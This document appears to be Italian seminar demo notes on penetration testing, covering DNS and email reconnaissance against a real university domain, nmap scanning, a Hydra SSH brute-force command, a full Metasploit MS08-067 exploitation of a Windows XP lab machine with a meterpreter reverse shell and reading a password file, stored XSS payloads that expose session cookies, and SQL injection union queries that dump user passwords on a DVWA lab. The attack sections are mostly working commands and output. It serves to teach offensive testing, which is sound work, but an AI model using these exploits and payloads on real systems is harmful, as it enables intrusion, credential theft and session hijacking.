Demo n.1 

Visualizzazione desktop Kali e tools.kali.org

Demo n.2

DNSMAP

ssh lchiavacci@msscanner1.mediacloudvpn.it
sudo su -

export DOMINIO=unifi.it

Mapping DNS info 
  /usr/bin/dig ns $DOMINIO > $DOMINIO.dig
  /usr/bin/dig mx  $DOMINIO >> $DOMINIO.dig

# dnsmap $DOMINIO  -w /home/SCAN/scripts/Msdnslist.txt -c output.dnsmap

THE HARVESTER

# theharvester -d  $DOMINIO -b all

Demo n.3

NMAP su sistema UNIFI.it / stampante .tw

#1: Scan a single host or an IP address (IPv4)
### Scan a single ip address ###
nmap IP	

#2: Scan multiple IP address or subnet (IPv4)
nmap 192.168.1.1 192.168.1.2 192.168.1.3
## works with same subnet i.e. 192.168.1.0/24 
nmap 192.168.1.1,2,3
You can scan a range of IP address too:
nmap 192.168.1.1-20
You can scan a range of IP address using a wildcard:
nmap 192.168.1.*
Finally, you scan an entire subnet:
nmap 192.168.1.0/24
#3: Read list of hosts/networks from a file (IPv4)
The -iL option allows you to read the list of target systems using a text file. This is useful to scan a large number of hosts/networks. Create a text file as follows:
cat > /tmp/test.txt
Sample outputs:

192.168.1.0/24
192.168.1.1/24
10.1.2.3
localhost
The syntax is:
nmap -iL /tmp/test.txt
#5: Turn on OS and version detection scanning script (IPv4)
nmap -A 192.168.1.254
nmap -v -A 192.168.1.1
nmap -A -iL /tmp/scanlist.txt 
#7: Scan a host when protected by the firewall
nmap -PN 192.168.1.1
#9: Scan a network and find out which servers and devices are up and running
This is known as host discovery or ping scan:
nmap -sP 192.168.147.0/24
#11: Display the reason a port is in a particular state
nmap --reason 192.168.147.127
root@virtuals:~# nmap --reason 192.168.147.127
Starting Nmap 6.40 ( http://nmap.org ) at 2017-02-15 22:24 CET
Nmap scan report for esxi1.mediasecure.local (192.168.147.127)
Host is up, received arp-response (0.00022s latency).
Not shown: 989 filtered ports
Reason: 989 no-responses
PORT     STATE  SERVICE        REASON
22/tcp   open   ssh            syn-ack
80/tcp   open   http           syn-ack
427/tcp  open   svrloc         syn-ack
443/tcp  open   https          syn-ack
902/tcp  open   iss-realsecure syn-ack
5988/tcp closed wbem-http      reset
5989/tcp open   wbem-https     syn-ack
8000/tcp open   http-alt       syn-ack
8080/tcp closed http-proxy     reset
8100/tcp open   xprint-server  syn-ack
8300/tcp open   tmi            syn-ack
MAC Address: 78:2B:CB:77:70:A3 (Dell)
#12: Only show open (or possibly open) ports
nmap --open 192.168.147.127
#13: Show all packets sent and received
nmap --packet-trace -p 22 192.168.147.127
root@virtuals:~# nmap --packet-trace -p 22 192.168.147.127

Starting Nmap 6.40 ( http://nmap.org ) at 2017-02-15 22:27 CET
SENT (0.0467s) ARP who-has 192.168.147.127 tell 192.168.147.126
RCVD (0.0469s) ARP reply 192.168.147.127 is-at 78:2B:CB:77:70:A3
SENT (0.2668s) TCP 192.168.147.126:51242 > 192.168.147.127:22 S ttl=48 id=4362 iplen=44  seq=2383611374 win=1024 <mss 1460>
SENT (0.3670s) TCP 192.168.147.126:51243 > 192.168.147.127:22 S ttl=59 id=58275 iplen=44  seq=2383545839 win=1024 <mss 1460>
RCVD (0.2670s) TCP 192.168.147.127:22 > 192.168.147.126:51242 SA ttl=64 id=35640 iplen=44  seq=1097779204 win=65535 <mss 1460>
RCVD (0.3671s) TCP 192.168.147.127:22 > 192.168.147.126:51243 SA ttl=64 id=35641 iplen=44  seq=1337523730 win=65535 <mss 1460>
Nmap scan report for esxi1.mediasecure.local (192.168.147.127)
Host is up (0.00024s latency).
PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 78:2B:CB:77:70:A3 (Dell)

#15: How do I scan specific ports?
nmap -p [port] hostName
## Scan port 80
nmap -p 80 192.168.1.1
 
## Scan TCP port 80
nmap -p T:80 192.168.1.1
 
## Scan UDP port 53
nmap -p U:53 192.168.1.1
 
## Scan two ports ##
nmap -p 80,443 192.168.1.1
 
## Scan port ranges ##
nmap -p 80-200 192.168.1.1

#17: How do I detect remote operating system?

nmap -O 192.168.147.127
nmap -O  --osscan-guess 192.168.147.127
nmap -v -O --osscan-guess 192.168.147.127	

#18: How do I detect remote services (server / daemon) version numbers?
nmap -sV 192.168.1.1
#23: Scan a host for UDP services (UDP scan)
Most popular services on the Internet run over the TCP protocol. DNS, SNMP, and DHCP are three of the most common UDP services. Use the following syntax to find out UDP services:

nmap -sU 192.168.1.1

Demo n.4

Accesso portale Mediacheck su account demouser
credenziali : 

Demo n.5

HYDRA

#hydra -f -L user.txt -P pass.txt -vV 192.168.147.99 ssh

Demo n.6

PENTEST winxp

Passi per hack macchina winxp

1) Eseguire un nmap sull'ip da attaccare

#nmap -n -sV 192.168.147.49

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2017-02-10 16:42 CET
Nmap scan report for 192.168.147.49
Host is up (0.00068s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows 98 netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
MAC Address: 08:00:27:FD:BA:E8 (Cadmus Computer Systems)
Service Info: OSs: Windows, Windows 98, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_98, cpe:/o:microsoft:windows_xp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.77 seconds

Verificare che sia open la porta 445/tcp

2) lanciare msfconsole

#msfconsole

%%%%%%%%%%%%%%%%%%%%%%  %%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%          %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Validate lots of vulnerabilities to demonstrate exposure
with Metasploit Pro -- Learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

3) eseguire i seguanti comandi

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

A questo punto lanciamo il comando show options per vedere che parametri settare:

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

4) Impostiamo l'RHOST:
msf exploit(ms08_067_netapi) > set RHOST 192.168.147.49
RHOST => 192.168.147.49

la RPORT e SMBPIPE sono già configurati

5) Settare il payload

msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

e lanciare show options per vedere i parametri da settare
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.147.49   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) >

6) Impostiamo LHOST e LPORT

msf exploit(ms08_067_netapi) > set LHOST 192.168.147.181 (IP DELLA MACCHINA DALLA QUALE SI LANCIA L'ATTACCO)
LHOST => 192.168.147.181

msf exploit(ms08_067_netapi) > set LPORT 6666
LPORT => 6666

7) A questo punto prima di lanciare l'attacco vediamo se è vulnerable con il comando check

msf exploit(ms08_067_netapi) > check
[+] 192.168.147.49:445 - The target is vulnerable.

8) Attacchiamo con il comando exploit

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.147.181:6666
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (957487 bytes) to 192.168.147.49
[*] Meterpreter session 1 opened (192.168.147.181:6666 -> 192.168.147.49:1058) at 2017-02-10 16:51:18 +0100

meterpreter >

9) A questo punto eseguiamo i comdandi meterpreter, ecco alcuni esempi

meterpreter > ipconfig

Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1

Interface 65539
============
Name         : AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC : 08:00:27:fd:ba:e8
MTU          : 1500
IPv4 Address : 192.168.147.49
IPv4 Netmask : 255.255.255.0

meterpreter > shell
Process 1080 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Esempio: Si vuole leggere il contenuto di un file al cui interno sono presenti delle password:

si entra in shell:

meterpreter > shell
 il percorso del file è:
 C:\Documents and Settings\Owner\Desktop>
 
Qui è presente il file password.txt
eseguire il comando more per leggerlo:

C:\Documents and Settings\Owner\Desktop>more password.txt
more password.txt
user>           administrator
password>       password1

Demo n.7
Collegarsi al link
 http://seeweb.mediacloudvpn.it/seminario_dvwa_17Feb2017/My_DVWA_master_testWeb/

XSS stored

Primo esempio, inserire un alert all'apertura della pagina:

Name* test
Message * 

<script>alert('code executed')</script>

a questo punto se si prova ad accedere alla pagina uscirà il popup con la scritta inserita negli apici.

Secondo esempio, visualizzare l'ID di sessione. Eseguire il reset del db (non necessario eventualmente)

Name* test
Message * 
<script>alert(document.cookie)</script>

Verrà visualizzato il PHPSESSID della sessione che potrà essere utilizzato per accedere con permessi superiori a quelli che in realtà si hanno.

Demo n.8
Collegarsi al link
http://seeweb.mediacloudvpn.it/seminario_dvwa_17Feb2017/My_DVWA_master_testWeb/

SQL Injection

Inserire un numero da 1/5 per vedere le info degli utenti

Lancio la seguente query
%' or '0'='0
dove 
%   		 probabilmente non sarà uguale a nulla, e quindi sarà falso
'0'='0 	 sara uguale a true, perchè 0=0 sempre
In pratica mi restituisce tutti i valore del database

Per risalire al nome del database si esegue:
%' or 0=0 union select null, database() #

Per visualizzare le pass il comando è
%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #